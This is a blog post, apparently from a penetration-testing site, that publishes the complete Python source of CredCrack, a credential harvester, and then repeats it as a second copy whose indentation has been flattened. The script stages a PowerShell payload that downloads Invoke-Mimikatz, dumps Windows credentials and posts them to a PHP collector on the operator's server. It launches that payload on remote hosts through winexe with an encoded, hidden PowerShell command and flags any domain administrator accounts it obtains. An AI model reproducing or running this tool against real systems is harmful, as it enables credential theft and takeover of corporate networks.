CredCrack – A fast and stealthy credential harvester.

Terry / August 14, 2015 / Comments Off / Penetration Test

CredCrack is a fast and stealthy credential harvester. It exfiltrates credentials recusively in memory and in the clear. Upon completion, CredCrack will parse and output the credentials while identifying any domain administrators obtained. CredCrack also comes with the ability to list and enumerate share access.
The harvester functionality is limited to systems running Windows and Powershell version 2+
Latest Change CredCrack.py:
Anti-lockout feature implemented CredCrack now detects when the supplied credentials return an “NT_STATUS_LOGON_FAILURE” meaning the credentials are wrong. To prevent
an account from being locked out, CredCrack now terminates as soon as it detects bad credentials.

Script :

#!/usr/bin/python

# CredCrack - A fast and stealthy credential harvester
# This script harvests credentials for any given IP(s) and
# notifies one when domain administrator credentials have
# been captured. The harvester functionality is limited to 
# systems running Windows and Powershell version 2+ 
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Author:  Jonathan Broche
# Email:   jb@gojhonny.com
# Twitter: @g0jhonny
# Version: 1.0
# Date:    2015-08-13

import subprocess, os, argparse, time, datetime, socket, base64, threading, Queue, hashlib, binascii, signal, sys, getpass
from shlex import split
from shutil import rmtree, copy

harvested_hosts = []

class colors:
    lightblue = "\033[1;36m"
    lightgrey = "\033[0;37m"
    blue = "\033[1;34m"
    normal = "\033[0;00m"
    red = "\033[1;31m"
    yellow = "\033[1;33m"
    white = "\033[1;37m"
    green = "\033[1;32m"

class LoginFailure(Exception): pass

#----------------------------------------#
#               SETUP                    #
#----------------------------------------#

def setup(lhost):
    print "{}[*]{} Setting up the stage".format(colors.blue, colors.normal)

    if not os.path.exists('/var/www/Invoke-Mimikatz.ps1'):
        print "{}[!]{} Dependency not met. Please download Invoke-Mimikatz.ps1 and store it in /var/www".format(colors.red, colors.normal)
        print "{}[!]{} wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1\n".format(colors.red, colors.normal)
        return False

    funps = """
    IEX (New-Object Net.WebClient).DownloadString('http://{lh}/Invoke-Mimikatz.ps1');
    $creds = Invoke-Mimikatz -DumpCreds;
    $request = [System.Net.WebRequest]::Create('http://{lh}/creds.php');
    $request.Method = "POST";
    $request.ContentType = "application/x-www-form-urlencoded";
    $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
    $request.ContentLength = $bytes.Length;
    $requestStream = $request.GetRequestStream();
    $requestStream.Write( $bytes, 0, $bytes.Length );
    $requestStream.Close();
    $request.GetResponse();
    """.format(lh=lhost)

    credsphp = """
    <?php
    $file = '/tmp/CCloot/'.$_SERVER['REMOTE_ADDR'];
    $post_body = file_get_contents('php://input');
    printf('putting contents into '.$file);
    file_put_contents($file, $post_body);
    ?>
    """

    with open ('/var/www/creds.php', 'w') as f:
        f.write(credsphp)
    with open ('/var/www/fun.ps1', 'w') as f:
        f.write(funps)

    if not os.path.exists('/tmp/CCloot'):
        os.makedirs('/tmp/CCloot')
        os.chmod('/tmp/CCloot', 0707)

    try: 
        apache_status = subprocess.check_output(split("ps -A"))

        if 'apache2' not in apache_status:
            subprocess.Popen(split('service apache2 start'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
        return True
 
    except Exception as e:
        print "{}[!]{} Error trying to start Apache. {}".format(colors.red, colors.normal, e)
        return False

#----------------------------------------#
#         VALIDATE IP                    #
#----------------------------------------#

def validate(rhost):
    try:
        print "{}[*]{} Validating {}".format(colors.blue, colors.normal, rhost)
        if socket.inet_aton(rhost):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(0.5)
            s.connect((rhost, 445)) #test if 445 is open on the remote host
            s.close()
            return True
        
    except socket.error as e:
        print "{}[!]{} Unable to connect to {}".format(colors.red, colors.normal, rhost)
        return False

#----------------------------------------#
#          ENUM SHARE ACCESS             #
#----------------------------------------#

def enum_shares(q, username, password, domain):
    lock = threading.Lock()
    try:
        while True:
            with lock:
                os = ''
                shares, endshares = [], []
                rhost = q.get()

                #obtain available shares
                process = subprocess.Popen(split("smbclient -L //{} -U '{}/{}%{}'".format(rhost, domain, username, password)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

                for line in filter(None, process.communicate()[0].split('\n')):
                    share = line.strip('\t')
                    if 'os=' in share.lower():
                        os = share.split(']')[1][5:] #operating system
                    else:
                        if "Connection to" in share or "NetBIOS" in share or "None" in share or "------" in share: #filter bad lines
                            pass
                        else:
                            for item in share.split(' '):
                                if 'Printer' not in item or 'IPC' not in item and '' not in item: #no printer or ipc shares
                                    if 'Disk' in item:
                                        es = ' '.join(share.split(' ')[:share.split(' ').index(item)]).strip()
                                        if es not in shares: 
                                            shares.append(es)
                
                #test share accessibility
                for share in shares:
                    process = subprocess.Popen(split("smbclient //{}/'{}' -U '{}/{}%{}' -c dir".format(rhost, share, domain, username, password)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

                    if [item for item in filter(None, process.communicate()[0].split('\n')) if "NT_STATUS" in item]: #if NT_STATUS in response => closed share/error
                        endshares.append(" CLOSED    \\\\{}\\{} ".format(rhost, share))
                    else:
                        endshares.append(" {}OPEN      \\\\{}\\{}{} ".format(colors.lightgrey, rhost, share, colors.normal))

                if endshares:
                    print "\n " + "-" * 65 + "\n " + colors.normal + "{} - {} \n ".format(rhost, os) + "-" * 65 + "\n "
                    for share in endshares:
                        print share
                else: print "{}[!]{} No shares to list on {}. Ensure the correct password was used.".format(colors.red, colors.normal, rhost)
            q.task_done()
                   
    except Exception as e:
        print "{}[!]{} Error listing shares on {}: {}".format(colors.red, colors.normal, rhost, e)
        q.task_done()

#----------------------------------------#
#         GET DOMAIN ADMINS              #
#----------------------------------------#

def get_das(rhost, username, password, domain):
    das = []
       
    try:
        print "{}[*]{} Querying domain admin group from {}".format(colors.blue, colors.normal, rhost.rstrip())
        process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)), stderr=subprocess.PIPE, stdout=subprocess.PIPE)
        da_output = process.stdout.read()
        error = process.stderr.read()

        if error and "NT_STATUS_LOGON_FAILURE" in error:
            return "NT_STATUS_LOGON_FAILURE"
        else:
            for line in da_output.split('\n')[8:]:
                if "The command completed" in line:
                    pass
                else:
                    for da in line.strip().split():
                        if da:
                            das.append(da)
            return das

    except Exception as e:
        print "{}[!]{} Unable to reach to {}".format(colors.red, colors.normal, rhost)
        return False

#----------------------------------------#
#         HARVEST CREDENTIALS            #
#----------------------------------------#

def harvest(q, username, password, domain, lhost):
    lock = threading.Lock()
    
    try:
        while True:
            rhost = q.get()
            if rhost in harvested_hosts:
                q.task_done()
               
            with lock:
                print "{}[*]{} Harvesting credentials from {}".format(colors.blue, colors.normal, rhost)
                harvested_hosts.append(rhost)
                encoded_cmd = base64.b64encode("IEX (New-Object Net.WebClient).DownloadString('http://{}/fun.ps1')".format(lhost).encode('utf_16_le'))
                process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c echo . | powershell.exe -Version 2 -w hidden -Exec Bypass -noni -nop -enc {}'".format(rhost, domain, username, password, encoded_cmd)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

                timeout = 15
                while timeout > 0:
                    status = process.poll()
                    if status is None:
                        time.sleep(0.1)
                        timeout -=0.1
                    else:
                        break

                if timeout <=0:
                    print "{}[!]{} Timed out harvesting credentials from {}".format(colors.red, colors.normal, rhost)
                    process.terminate()
            q.task_done()

    except subprocess.CalledProcessError as e:
        print "{}[!]{} Error harvesting credentials from {}".format(colors.red, colors.normal, rhost)
        q.task_done()
    except OSError:
        pass        

#----------------------------------------#
#         PARSE LOOT                     #
#----------------------------------------#

def parse_loot():
    files = next(os.walk('/tmp/CCloot'))[2]
    credentials = []

    for fi in files: #parse all files within the CCloot directory
        with open (os.path.join('/tmp/CCloot', fi)) as f:
            lines = f.readlines()
            for i in [x for x, y in enumerate(lines) if 'wdigest' in y]:
                if 'username' in lines[i+1].lower() and not any(x in lines[i+1].lower() for x in ['$', '(null)']): #if username does not have $ or null
                    if lines[i+3][15:].rstrip() != '(null)': #if password is not null
                        domain, user, pw = lines[i+2][15:].rstrip(), lines[i+1][15:].rstrip(), lines[i+3][15:].rstrip()
                        if [u for r, d, u, p in credentials if user in u]: #omitting duplicate credentials
                            pass
                        else:
                            credentials.append((fi, domain, user, pw)) #add credentials
    return credentials

#----------------------------------------#
#               OUTPUT                   #
#----------------------------------------#
   
def output(credentials, das):
    da_counter = 0
  
    try:
        if credentials:
            print """\n
                  {lg}The loot has arrived...{y}
                         __________
                        /\____;;___\    
                       | /         /    
                       `. ())oo() .      
                        |\(%()*^^()^\       
                       %| |-%-------|       
                      % \ | %  ))   |       
                      %  \|%________|       
                {n}""".format(lg=colors.lightgrey, y=colors.yellow, n=colors.normal)

            with open ('/tmp/CCloot/l00t', 'w') as f:
                f.write("\n " + "-" * 69 + "\n " + " CredCrack Loot \n " + "-" * 69 + "\n\n")
                for cred in credentials:
                    if cred[2] in das:
                        #d = domain, #u = username, #p = password
                        print "{y}[*] Host: {r} Domain: {d} User: {u}   Password: {p}{n}".format(y=colors.yellow, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal)
                        f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p} {y}-- Domain Admin{n}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3], y=colors.yellow, n=colors.normal))
                        da_counter+=1
                    else:
                        print "{w}[*]{lg} Host: {r} Domain: {d} User: {u} Password: {p}{n}".format(w=colors.white, lg=colors.lightgrey, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal)
                        f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3])) 
                if da_counter:
                    print "\n     {y}{dac}{n} domain administrators found and highlighted in yellow above!\n".format(y=colors.yellow, dac=da_counter, n=colors.normal)
                return True
        else:
            print "\n{red}[!]{n} No Loot?! Argh!\n".format(red=colors.red, n=colors.normal)
            return False
    except Exception as e:
        print '{red}[!]{n} Error outputting loot. {exc}'.format(red=colors.red, n=colors.normal, exc=e)

#----------------------------------------#
#               CLEAN UP                 #
#----------------------------------------#

def clean_up(flag, stime):
    print "{}[*]{} Cleaning up".format(colors.blue, colors.normal)
    try:
        if flag: #script completed successfully
            os.remove(os.path.join('/var/www', 'creds.php'))
            os.remove(os.path.join('/var/www', 'fun.ps1'))

            if os.path.exists(os.path.join(os.getenv('HOME'), 'CCloot')):
                dirname = os.path.join(os.getenv('HOME'), 'CCloot_{}'.format(datetime.datetime.now().strftime('%Y%m%d_%H:%M:%S')))
                os.rename('/tmp/CCloot', dirname )
                os.chmod(dirname, 0700)                
            else:
                dirname = os.path.join(os.getenv('HOME'), 'CCloot')
                os.rename('/tmp/CCloot', dirname)
                os.chmod(dirname, 0700)
            subprocess.Popen(split('service apache2 stop'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
            print "{}[*]{} Done! Loot may be found under {} folder{}".format(colors.green, colors.white, dirname, colors.normal)
            print "{}[*]{} Completed in {:.1f}s\n".format(colors.blue, colors.normal, time.time()- stime)
        else: #script did not complete successfully
            subprocess.Popen(split('service apache2 stop'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
            if os.path.exists('/tmp/CCloot'):
                rmtree('/tmp/CCloot')
    except Exception as e:
        print "{}[!]{} Error cleaning up. {}".format(colors.red, colors.normal, e)

#----------------------------------------#
#               MAIN                     #
#----------------------------------------#

def main():   

    example = "Examples: \n\n./credcrack.py -d acme -u bob -f hosts -es\n./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20"
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny)", epilog=example)
    required = parser.add_argument_group("Required")
    required.add_argument('-d', '--domain', required=True, help='Domain or Workstation')
    required.add_argument('-u', '--user', required=True, help='Domain username')
    action = parser.add_mutually_exclusive_group(required=True)
    action.add_argument('-f', '--file', help='File containing IPs to harvest creds from. One IP per line.')
    action.add_argument('-r', '--rhost', help='Remote host IP to harvest creds from.')
    parser.add_argument('-es', '--enumshares', help='Examine share access on the remote IP(s)', action='store_true')
    parser.add_argument('-l', '--lhost', help='Local host IP to launch scans from.')
    parser.add_argument('-t', '--threads', help='Number of threads (default: 10)', default=10, type=int)
    args = parser.parse_args()
    args.passwd = getpass.getpass()

    print "\n " + "-" * 69 + "\n " + colors.white + " CredCrack v1.0 by Jonathan Broche (@g0jhonny)\n " + colors.normal + "-" * 69 + "\n "

    stime = time.time()
    das, credentials, badhost = [], [], []
    q = Queue.Queue(maxsize=0)

    try:
        if not args.passwd:
            print "{}[!]{} Please provide a password\n".format(colors.red, colors.normal)
            return

        if args.enumshares:
            if args.rhost:
                if validate(args.rhost):
                    q.put(args.rhost)
            elif args.file:
                with open (args.file) as f:
                    lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())]
                for line in lines:
                    q.put(line)
            if q.queue:
                for i in range(args.threads):
                    worker = threading.Thread(target=enum_shares, args=(q, args.user, args.passwd, args.domain))
                    worker.setDaemon(True)
                    worker.start()
                q.join()
            print "\n{}[*]{} Done! Completed in {:.1f}s\n".format(colors.green, colors.normal, time.time()- stime)
        else:
            if args.lhost:
                if setup(args.lhost):
                    if args.rhost:
                        if validate(args.rhost):
                            das = get_das(args.rhost, args.user, args.passwd, args.domain)
                            if "NT_STATUS_LOGON_FAILURE" in das:
                                raise LoginFailure(args.rhost)
                            q.put(args.rhost)
                    if args.file:
                        with open (args.file) as f:
                            lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())]
                            for line in lines:
                                das = get_das(line, args.user, args.passwd, args.domain)
                                if "NT_STATUS_LOGON_FAILURE" in das:                                    
                                    raise LoginFailure(line)
                                elif not das: #put the host on a bad list
                                    badhost.append(lines[lines.index(line)])
                                else: #we got our domain admin list
                                    if badhost: #if badhosts, filter before queue
                                        for good_ip in [ip for ip in lines if ip not in badhost]:
                                            q.put(good_ip)
                                    else: #only good hosts? put them in the queue!
                                        for good_ip in lines:
                                            q.put(good_ip)
                                    break
                    if das:
                        for num in range(args.threads):
                            worker = threading.Thread(target=harvest, args=(q, args.user, args.passwd, args.domain, args.lhost))
                            worker.setDaemon(True)
                            worker.start()
                        q.join()
                    
                        if output(parse_loot(), das):
                            clean_up(True, stime)
                        else:
                            clean_up(False, stime)
                    else:
                        clean_up(False, stime)
            else:
                print "{}[!]{} Provide the IP address of the local host [-l]\n".format(colors.red, colors.normal)

    except (KeyboardInterrupt, SystemExit):
        print "\n{}[!]{} Ctrl-C detected...shutting down".format(colors.yellow, colors.normal)
        clean_up(False, stime)      
    except IOError:
        print "{}[!]{} File: {} does not exist.".format(colors.red, colors.normal, args.file)
        clean_up(False, stime)
    except LoginFailure as e:
        print "{}[!]{} Login Failure on {}, ensure you have entered the correct credentials\n".format(colors.red, colors.normal, e)
        clean_up(False, stime)

if __name__ == '__main__':
    main()

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#!/usr/bin/python

# CredCrack - A fast and stealthy credential harvester

# This script harvests credentials for any given IP(s) and

# notifies one when domain administrator credentials have

# been captured. The harvester functionality is limited to

# systems running Windows and Powershell version 2+

# This program is free software: you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by

# the Free Software Foundation, either version 3 of the License, or

# (at your option) any later version.

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License

# along with this program. If not, see <http://www.gnu.org/licenses/>.

# Author: Jonathan Broche

# Email: jb@gojhonny.com

# Twitter: @g0jhonny

# Version: 1.0

# Date: 2015-08-13

import subprocess, os, argparse, time, datetime, socket, base64, threading, Queue, hashlib, binascii, signal, sys, getpass

from shlex import split

from shutil import rmtree, copy

harvested_hosts = []

class colors:

lightblue = "\033[1;36m"

lightgrey = "\033[0;37m"

blue = "\033[1;34m"

normal = "\033[0;00m"

red = "\033[1;31m"

yellow = "\033[1;33m"

white = "\033[1;37m"

green = "\033[1;32m"

class LoginFailure(Exception): pass

#----------------------------------------#

# SETUP #

#----------------------------------------#

def setup(lhost):

print "{}[*]{} Setting up the stage".format(colors.blue, colors.normal)

if not os.path.exists('/var/www/Invoke-Mimikatz.ps1'):

print "{}[!]{} Dependency not met. Please download Invoke-Mimikatz.ps1 and store it in /var/www".format(colors.red, colors.normal)

print "{}[!]{} wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1\n".format(colors.red, colors.normal)

return False

funps = """

IEX (New-Object Net.WebClient).DownloadString('http://{lh}/Invoke-Mimikatz.ps1');

$creds = Invoke-Mimikatz -DumpCreds;

$request = [System.Net.WebRequest]::Create('http://{lh}/creds.php');

$request.Method = "POST";

$request.ContentType = "application/x-www-form-urlencoded";

$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);

$request.ContentLength = $bytes.Length;

$requestStream = $request.GetRequestStream();

$requestStream.Write( $bytes, 0, $bytes.Length );

$requestStream.Close();

$request.GetResponse();

""".format(lh=lhost)

credsphp = """

<?php

$file = '/tmp/CCloot/'.$_SERVER['REMOTE_ADDR'];

$post_body = file_get_contents('php://input');

printf('putting contents into '.$file);

file_put_contents($file, $post_body);

"""

with open ('/var/www/creds.php', 'w') as f:

f.write(credsphp)

with open ('/var/www/fun.ps1', 'w') as f:

f.write(funps)

if not os.path.exists('/tmp/CCloot'):

os.makedirs('/tmp/CCloot')

os.chmod('/tmp/CCloot', 0707)

try:

apache_status = subprocess.check_output(split("ps -A"))

if 'apache2' not in apache_status:

subprocess.Popen(split('service apache2 start'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

return True

except Exception as e:

print "{}[!]{} Error trying to start Apache. {}".format(colors.red, colors.normal, e)

return False

#----------------------------------------#

# VALIDATE IP #

#----------------------------------------#

def validate(rhost):

try:

print "{}[*]{} Validating {}".format(colors.blue, colors.normal, rhost)

if socket.inet_aton(rhost):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(0.5)

s.connect((rhost, 445)) #test if 445 is open on the remote host

s.close()

return True

except socket.error as e:

print "{}[!]{} Unable to connect to {}".format(colors.red, colors.normal, rhost)

return False

#----------------------------------------#

# ENUM SHARE ACCESS #

#----------------------------------------#

def enum_shares(q, username, password, domain):

lock = threading.Lock()

try:

while True:

with lock:

os = ''

shares, endshares = [], []

rhost = q.get()

#obtain available shares

process = subprocess.Popen(split("smbclient -L //{} -U '{}/{}%{}'".format(rhost, domain, username, password)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

for line in filter(None, process.communicate()[0].split('\n')):

share = line.strip('\t')

if 'os=' in share.lower():

os = share.split(']')[1][5:] #operating system

else:

if "Connection to" in share or "NetBIOS" in share or "None" in share or "------" in share: #filter bad lines

pass

else:

for item in share.split(' '):

if 'Printer' not in item or 'IPC' not in item and '' not in item: #no printer or ipc shares

if 'Disk' in item:

es = ' '.join(share.split(' ')[:share.split(' ').index(item)]).strip()

if es not in shares:

shares.append(es)

#test share accessibility

for share in shares:

process = subprocess.Popen(split("smbclient //{}/'{}' -U '{}/{}%{}' -c dir".format(rhost, share, domain, username, password)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

if [item for item in filter(None, process.communicate()[0].split('\n')) if "NT_STATUS" in item]: #if NT_STATUS in response => closed share/error

endshares.append(" CLOSED \\\\{}\\{} ".format(rhost, share))

else:

endshares.append(" {}OPEN \\\\{}\\{}{} ".format(colors.lightgrey, rhost, share, colors.normal))

if endshares:

print "\n " + "-" * 65 + "\n " + colors.normal + "{} - {} \n ".format(rhost, os) + "-" * 65 + "\n "

for share in endshares:

print share

else: print "{}[!]{} No shares to list on {}. Ensure the correct password was used.".format(colors.red, colors.normal, rhost)

q.task_done()

except Exception as e:

print "{}[!]{} Error listing shares on {}: {}".format(colors.red, colors.normal, rhost, e)

q.task_done()

#----------------------------------------#

# GET DOMAIN ADMINS #

#----------------------------------------#

def get_das(rhost, username, password, domain):

das = []

try:

print "{}[*]{} Querying domain admin group from {}".format(colors.blue, colors.normal, rhost.rstrip())

process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c net group \"Domain Admins\" /domain'".format(rhost, domain, username, password)), stderr=subprocess.PIPE, stdout=subprocess.PIPE)

da_output = process.stdout.read()

error = process.stderr.read()

if error and "NT_STATUS_LOGON_FAILURE" in error:

return "NT_STATUS_LOGON_FAILURE"

else:

for line in da_output.split('\n')[8:]:

if "The command completed" in line:

pass

else:

for da in line.strip().split():

if da:

das.append(da)

return das

except Exception as e:

print "{}[!]{} Unable to reach to {}".format(colors.red, colors.normal, rhost)

return False

#----------------------------------------#

# HARVEST CREDENTIALS #

#----------------------------------------#

def harvest(q, username, password, domain, lhost):

lock = threading.Lock()

try:

while True:

rhost = q.get()

if rhost in harvested_hosts:

q.task_done()

with lock:

print "{}[*]{} Harvesting credentials from {}".format(colors.blue, colors.normal, rhost)

harvested_hosts.append(rhost)

encoded_cmd = base64.b64encode("IEX (New-Object Net.WebClient).DownloadString('http://{}/fun.ps1')".format(lhost).encode('utf_16_le'))

process = subprocess.Popen(split("winexe --system //{} -U {}/{}%{} 'cmd /c echo . | powershell.exe -Version 2 -w hidden -Exec Bypass -noni -nop -enc {}'".format(rhost, domain, username, password, encoded_cmd)), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

timeout = 15

while timeout > 0:

status = process.poll()

if status is None:

time.sleep(0.1)

timeout -=0.1

else:

break

if timeout <=0:

print "{}[!]{} Timed out harvesting credentials from {}".format(colors.red, colors.normal, rhost)

process.terminate()

q.task_done()

except subprocess.CalledProcessError as e:

print "{}[!]{} Error harvesting credentials from {}".format(colors.red, colors.normal, rhost)

q.task_done()

except OSError:

pass

#----------------------------------------#

# PARSE LOOT #

#----------------------------------------#

def parse_loot():

files = next(os.walk('/tmp/CCloot'))[2]

credentials = []

for fi in files: #parse all files within the CCloot directory

with open (os.path.join('/tmp/CCloot', fi)) as f:

lines = f.readlines()

for i in [x for x, y in enumerate(lines) if 'wdigest' in y]:

if 'username' in lines[i+1].lower() and not any(x in lines[i+1].lower() for x in ['$', '(null)']): #if username does not have $ or null

if lines[i+3][15:].rstrip() != '(null)': #if password is not null

domain, user, pw = lines[i+2][15:].rstrip(), lines[i+1][15:].rstrip(), lines[i+3][15:].rstrip()

if [u for r, d, u, p in credentials if user in u]: #omitting duplicate credentials

pass

else:

credentials.append((fi, domain, user, pw)) #add credentials

return credentials

#----------------------------------------#

# OUTPUT #

#----------------------------------------#

def output(credentials, das):

da_counter = 0

try:

if credentials:

print """\n

{lg}The loot has arrived...{y}

__________

/\____;;___\

| / /

`. ())oo() .

|\(%()*^^()^\

%| |-%-------|

% \ | % )) |

% \|%________|

{n}""".format(lg=colors.lightgrey, y=colors.yellow, n=colors.normal)

with open ('/tmp/CCloot/l00t', 'w') as f:

f.write("\n " + "-" * 69 + "\n " + " CredCrack Loot \n " + "-" * 69 + "\n\n")

for cred in credentials:

if cred[2] in das:

#d = domain, #u = username, #p = password

print "{y}[*] Host: {r} Domain: {d} User: {u} Password: {p}{n}".format(y=colors.yellow, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal)

f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p} {y}-- Domain Admin{n}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3], y=colors.yellow, n=colors.normal))

da_counter+=1

else:

print "{w}[*]{lg} Host: {r} Domain: {d} User: {u} Password: {p}{n}".format(w=colors.white, lg=colors.lightgrey, r=cred[0], d=cred[1], u=cred[2], p=cred[3], n=colors.normal)

f.write("[*] Host: {r} Domain: {d} User: {u} Password: {p}\n".format(r=cred[0], d=cred[1], u=cred[2], p=cred[3]))

if da_counter:

print "\n {y}{dac}{n} domain administrators found and highlighted in yellow above!\n".format(y=colors.yellow, dac=da_counter, n=colors.normal)

return True

else:

print "\n{red}[!]{n} No Loot?! Argh!\n".format(red=colors.red, n=colors.normal)

return False

except Exception as e:

print '{red}[!]{n} Error outputting loot. {exc}'.format(red=colors.red, n=colors.normal, exc=e)

#----------------------------------------#

# CLEAN UP #

#----------------------------------------#

def clean_up(flag, stime):

print "{}[*]{} Cleaning up".format(colors.blue, colors.normal)

try:

if flag: #script completed successfully

os.remove(os.path.join('/var/www', 'creds.php'))

os.remove(os.path.join('/var/www', 'fun.ps1'))

if os.path.exists(os.path.join(os.getenv('HOME'), 'CCloot')):

dirname = os.path.join(os.getenv('HOME'), 'CCloot_{}'.format(datetime.datetime.now().strftime('%Y%m%d_%H:%M:%S')))

os.rename('/tmp/CCloot', dirname )

os.chmod(dirname, 0700)

else:

dirname = os.path.join(os.getenv('HOME'), 'CCloot')

os.rename('/tmp/CCloot', dirname)

os.chmod(dirname, 0700)

subprocess.Popen(split('service apache2 stop'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

print "{}[*]{} Done! Loot may be found under {} folder{}".format(colors.green, colors.white, dirname, colors.normal)

print "{}[*]{} Completed in {:.1f}s\n".format(colors.blue, colors.normal, time.time()- stime)

else: #script did not complete successfully

subprocess.Popen(split('service apache2 stop'), stderr=subprocess.STDOUT, stdout=subprocess.PIPE)

if os.path.exists('/tmp/CCloot'):

rmtree('/tmp/CCloot')

except Exception as e:

print "{}[!]{} Error cleaning up. {}".format(colors.red, colors.normal, e)

#----------------------------------------#

# MAIN #

#----------------------------------------#

def main():

example = "Examples: \n\n./credcrack.py -d acme -u bob -f hosts -es\n./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20"

parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny)", epilog=example)

required = parser.add_argument_group("Required")

required.add_argument('-d', '--domain', required=True, help='Domain or Workstation')

required.add_argument('-u', '--user', required=True, help='Domain username')

action = parser.add_mutually_exclusive_group(required=True)

action.add_argument('-f', '--file', help='File containing IPs to harvest creds from. One IP per line.')

action.add_argument('-r', '--rhost', help='Remote host IP to harvest creds from.')

parser.add_argument('-es', '--enumshares', help='Examine share access on the remote IP(s)', action='store_true')

parser.add_argument('-l', '--lhost', help='Local host IP to launch scans from.')

parser.add_argument('-t', '--threads', help='Number of threads (default: 10)', default=10, type=int)

args = parser.parse_args()

args.passwd = getpass.getpass()

print "\n " + "-" * 69 + "\n " + colors.white + " CredCrack v1.0 by Jonathan Broche (@g0jhonny)\n " + colors.normal + "-" * 69 + "\n "

stime = time.time()

das, credentials, badhost = [], [], []

q = Queue.Queue(maxsize=0)

try:

if not args.passwd:

print "{}[!]{} Please provide a password\n".format(colors.red, colors.normal)

return

if args.enumshares:

if args.rhost:

if validate(args.rhost):

q.put(args.rhost)

elif args.file:

with open (args.file) as f:

lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())]

for line in lines:

q.put(line)

if q.queue:

for i in range(args.threads):

worker = threading.Thread(target=enum_shares, args=(q, args.user, args.passwd, args.domain))

worker.setDaemon(True)

worker.start()

q.join()

print "\n{}[*]{} Done! Completed in {:.1f}s\n".format(colors.green, colors.normal, time.time()- stime)

else:

if args.lhost:

if setup(args.lhost):

if args.rhost:

if validate(args.rhost):

das = get_das(args.rhost, args.user, args.passwd, args.domain)

if "NT_STATUS_LOGON_FAILURE" in das:

raise LoginFailure(args.rhost)

q.put(args.rhost)

if args.file:

with open (args.file) as f:

lines = [ip.strip() for ip in f.readlines() if ip.strip() and validate(ip.strip())]

for line in lines:

das = get_das(line, args.user, args.passwd, args.domain)

if "NT_STATUS_LOGON_FAILURE" in das:

raise LoginFailure(line)

elif not das: #put the host on a bad list

badhost.append(lines[lines.index(line)])

else: #we got our domain admin list

if badhost: #if badhosts, filter before queue

for good_ip in [ip for ip in lines if ip not in badhost]:

q.put(good_ip)

else: #only good hosts? put them in the queue!

for good_ip in lines:

q.put(good_ip)

break

if das:

for num in range(args.threads):

worker = threading.Thread(target=harvest, args=(q, args.user, args.passwd, args.domain, args.lhost))

worker.setDaemon(True)

worker.start()

q.join()

if output(parse_loot(), das):

clean_up(True, stime)

else:

clean_up(False, stime)

else:

clean_up(False, stime)

else:

print "{}[!]{} Provide the IP address of the local host [-l]\n".format(colors.red, colors.normal)

except (KeyboardInterrupt, SystemExit):

print "\n{}[!]{} Ctrl-C detected...shutting down".format(colors.yellow, colors.normal)

clean_up(False, stime)

except IOError:

print "{}[!]{} File: {} does not exist.".format(colors.red, colors.normal, args.file)

clean_up(False, stime)

except LoginFailure as e:

print "{}[!]{} Login Failure on {}, ensure you have entered the correct credentials\n".format(colors.red, colors.normal, e)

clean_up(False, stime)

if __name__ == '__main__':

main()

Source: https://github.com/gojhonny

Tags: Enumeration, harvesting

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CredCrack – A fast and stealthy credential harvester.